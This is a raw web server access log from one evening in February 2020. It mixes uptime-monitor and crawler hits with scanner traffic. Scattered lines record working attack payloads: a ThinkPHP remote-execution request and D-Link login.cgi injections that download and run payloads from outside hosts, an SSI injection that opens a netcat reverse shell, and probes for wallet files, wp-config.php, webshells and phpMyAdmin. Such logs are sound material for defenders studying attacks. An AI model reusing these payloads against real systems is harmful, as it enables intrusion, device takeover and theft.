116.101.153.3 - - [29/Feb/2020:22:11:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:22:12:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:13:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.163.131.89 - - [29/Feb/2020:22:14:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [29/Feb/2020:22:14:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:15:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.234.219.231 - - [29/Feb/2020:22:16:37 +0100] "GET /wallet.dat HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.219.231 - - [29/Feb/2020:22:16:38 +0100] "GET /wallets/wallet.dat HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
212.91.246.72 - - [29/Feb/2020:22:16:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.62.199.18 - - [29/Feb/2020:22:16:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:22:17:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:18:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.218.0.195 - - [29/Feb/2020:22:19:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [29/Feb/2020:22:19:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [29/Feb/2020:22:19:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [29/Feb/2020:22:19:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:22:19:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.218.0.195 - - [29/Feb/2020:22:19:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
73.32.140.239 - - [29/Feb/2020:22:20:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [29/Feb/2020:22:20:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:21:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:22:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:23:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:24:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:25:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.146.230.83 - - [29/Feb/2020:22:25:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:22:26:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:27:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:28:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:29:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [29/Feb/2020:22:30:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [29/Feb/2020:22:30:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:31:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:32:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:33:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:34:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:35:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:36:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:37:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:38:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:39:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:40:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:41:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:42:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:43:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.62.187.101 - - [29/Feb/2020:22:43:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
88.198.43.207 - - [29/Feb/2020:22:44:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0.3 Safari/604.5.6"
212.91.246.72 - - [29/Feb/2020:22:44:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:45:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:46:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.189.165.184 - - [29/Feb/2020:22:47:08 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:22:47:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:48:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:49:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:50:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.49.226.137 - - [29/Feb/2020:22:51:02 +0100] "GET /incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%2037.49.226.137%2029312%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e HTTP/1.0" 404 322 "-" "-"
212.91.246.72 - - [29/Feb/2020:22:51:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.140.102.113 - - [29/Feb/2020:22:51:52 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:22:52:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.75.171 - - [29/Feb/2020:22:53:39 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.75.171 - - [29/Feb/2020:22:53:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [29/Feb/2020:22:53:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:54:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:55:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:56:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:22:57:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.58.4.233 - - [29/Feb/2020:22:58:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
123.58.4.233 - - [29/Feb/2020:22:58:41 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
123.58.4.233 - - [29/Feb/2020:22:58:42 +0100] "POST /Admin51f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
212.91.246.72 - - [29/Feb/2020:22:58:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.46.94.83 - - [29/Feb/2020:22:58:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.119 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:22:59:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
123.58.4.233 - - [29/Feb/2020:22:59:10 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
123.58.4.233 - - [29/Feb/2020:22:59:11 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
123.58.4.233 - - [29/Feb/2020:22:59:11 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
123.58.4.233 - - [29/Feb/2020:22:59:12 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
84.185.72.170 - - [29/Feb/2020:22:59:20 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
123.58.4.233 - - [29/Feb/2020:22:59:36 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:22:59:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.58.4.233 - - [29/Feb/2020:23:00:00 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:00:24 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:23:00:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.58.4.233 - - [29/Feb/2020:23:00:48 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:01:12 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:01:36 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:23:01:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.58.4.233 - - [29/Feb/2020:23:02:03 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:03 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:04 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:05 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:05 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:06 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:07 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:07 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:08 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:09 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:11 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:11 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:12 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:12 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:12 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:13 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:14 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:14 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:15 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:15 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:16 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:16 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:16 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:17 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:17 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:17 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:17 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:18 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:19 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:20 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:22 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:22 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:23 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:25 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:28 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:23:02:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.58.4.233 - - [29/Feb/2020:23:02:45 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:45 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:47 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:48 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:49 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:50 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:51 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:52 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:52 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:52 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:53 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
123.58.4.233 - - [29/Feb/2020:23:02:54 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
